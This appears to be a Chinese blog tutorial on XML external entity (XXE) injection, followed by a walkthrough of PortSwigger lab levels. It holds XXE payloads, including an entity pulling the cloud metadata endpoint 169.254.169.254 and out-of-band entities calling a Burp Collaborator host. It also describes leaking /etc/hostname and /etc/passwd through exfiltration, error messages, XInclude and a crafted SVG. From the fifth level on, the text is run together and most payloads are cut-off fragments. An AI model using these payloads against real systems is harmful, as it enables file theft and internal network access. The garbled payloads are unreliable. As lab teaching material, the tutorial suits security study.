目录
  • 快速了解 XXE
    • 什么是 XXE 漏洞
      • XXE 漏洞概述
      • XML 基础知识
    • XXE 漏洞可造成的危害
    • XXE 漏洞绕过手段
    • XXE 漏洞的防御
  • 靶场攻略
    • 第一关
    • 第二关
    • 第三关
    • 第四关

快速了解 XXE

什么是 XXE 漏洞

参考文章

XXE 漏洞概述

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以通过利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击来升级 XXE 攻击以破坏底层服务器或其他后端基础设施

XML 基础知识

要利用 XXE 漏洞首先需要一定的 XML 知识


XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。


DTD可以被内部声明也可以被外部引用


内部声明:

<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例

<?xml version="1.0"?>  
<!DOCTYPE note [                         
<!ELEMENT note (to,from,heading,body)>  
<!ELEMENT to      (#PCDATA)>  
<!ELEMENT from    (#PCDATA)>  
<!ELEMENT heading (#PCDATA)>  
<!ELEMENT body    (#PCDATA)>  
]>  
<note>  
<to>George</to>  
<from>John</from>  
<heading>Reminder</heading>  
<body>Don't forget the meeting!</body>  
</note>

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型


外部文档声明:
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

<?xml version="1.0"?>  
<!DOCTYPE note SYSTEM "note.dtd">   <!--在这里-->
<note>  
<to>George</to>  
<from>John</from>  
<heading>Reminder</heading>  
<body>Don't forget the meeting!</body>  
</note>

这是包含 DTD 的 "note.dtd" 文件:

<!ELEMENT note (to,from,heading,body)>  
<!ELEMENT to (#PCDATA)>  
<!ELEMENT from (#PCDATA)>  
<!ELEMENT heading (#PCDATA)>  
<!ELEMENT body (#PCDATA)>

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。


学习了DTD的两种引用方法,下面我们主要学习以下XXE漏洞需要利用的DTD实体


实体的概念:

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。

一个内部实体声明
语法:

<!ENTITY 实体名称 "实体的值">

例子:
DTD例子

<!ENTITY abc "nihao">

XML例子

<hello>&abc;</hello>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (?。
一个外部实体声明:
语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:
DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">  
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

XXE 漏洞可造成的危害

任意文件读取
执行系统命令
探测内容端口
攻击内网网站
发起 DOS 攻击

XXE 漏洞绕过手段

协议绕过 data://
协议绕过 php://filter
编码绕过
无回显绕过

XXE 漏洞的防御

禁用外部实体
过滤和验证用户提交的XML数据

靶场攻略

第一关

随便点一个图片,然后划到最下面,点击Check stock
通过 burp 抓 POST 请求包
把 POST 包发送到 Repeater

修改下方的 XML

发送,实验完成

第二关

这一关是 XXE+SSRF
题目要求访问 http://169.254.169.254/ 下的文件
和第一关一样,抓到包后,我们这样构造

<!DOCTYPE aaa [<!ENTITY bbb SYSTEM "http://169.254.169.254/">]>

发送完后我们在响应中得到了 latest 这个词,我们把他放在路径后面

发送请求后,我们又在相应中获得了一个此,以此类推,最终我们获得了这个

第二关结束

第三关

这一关是带外盲注
我们在抓到 POST 包并发送到 Repeater 后
打开 Burp Collaborator Client

点击 Copy to clipboard

我们再回 Repeater 构造:

<!DOCTYPE aaa [<!ENTITY bbb SYSTEM "http://htt6ovkw3ni7gtb1ibfeeqx08dgf7lx9m.burpcollaborator.net">]>

其中,http://后面的是刚刚 Copy to clipboard 再粘贴出来的地址

发送请求包,可以看到 Burp Collaborator Client 多了一些信息,同时题目也完成了!

第四关

这一关也是 XXE 盲注,但是这里限制了常规外部实体的请求
重复前几关的操作在发送 POST 请求到 Repeater 后,如果我们用上一题的构造方式

会发现提示"Entities are not allowed for security reasons"
这里限制了常规外部实体请求,我们使用参数实体请求试试

<!DOCTYPE aaa [<!ENTITY % bbb SYSTEM "http://htt6ovkw3ni7gtb1ibfeeqx08dgf7lx9m.burpcollaborator.net">%bbb;]>
成功收到 ## [第五关](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration) 这一关还是 XXE 盲注,我们需要获取 `/etc/hostname` 中的信息,由于无回显,我们需要将该信息带出到 Burp Collaborator Client 点击页面的 Go to exploit server,提交如下文件 ```dtd ">%sss; ``` 作用是向 Burp Collaborator Client 发送信息,需要留意一下 `%file`,和下面的是同一个 重复前几关的操作在发送 POST 请求到 Repeater 后,我们这样构造 ```dtd %get; %send; ]> ``` 发送后,我们收到如下信息 点击 HTTP ,在 Request 中找到顶部信息 a= ,后面的 b10ce1cb2eea 就是答案了 ## [第六关](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages) 这关还是 XXE 盲注,需要通过错误信息查看 `/etc/passwd` 文件 我们先上传一个文件 ``` ">%p; ``` 然后我们再按照前面的方式抓到含有 xml 的 POST 包到 Repeater 构造: ``` %get; %ppp; ]> ``` 提交后就完成了,可以看到 passwd 的信息随着错误回显显示出来了 ## [第七关](https://portswigger.net/web-security/xxe/lab-xinclude-attack) 这题获取到 POST 请求后发现只有 productId 我们尝试使用 XInclude 来检索 `/etc/passwd` ``` ``` ## [第八关](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload) 有些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 xml 格式的例子包括 DOCX 之类的办公文档格式和 SVG 之类的图像格式。 例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML,攻击者可以提交恶意的 SVG 图像,从而达到针对 XXE 漏洞的隐藏攻击表面。 我们在本地命令行执行以下命令生成一个含有 payload 的 SVG 文件 ``` echo ' ]>&xxe;' > 123.svg ``` 然后我们上传这个文件 返回 使用 F12 查看刚刚上传的图片 提交答案就可以了 ## [第九关](https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd) 根据提示,在服务器文件系统的位置有一个 DTD 文件 `/usr/local/app/schema.dtd` ,并且这个 DTD 文件定义了一个名为 `ISOamso` 的实体。`/etc/passwd` 攻击者可以通过提交如下混合 DTD 来触发包含文件内容的 XML 解析错误消息 如下构造: ``` "> %eval; %error; '> %local_dtd; ]> ``` 提示 `%` 是 `%` 的 html 实体,`&` 是 `&` 的 html 实体,`'` 是 `'` 的 html 实体 发送完后可以看到错误回显带有了 `passwd` 信息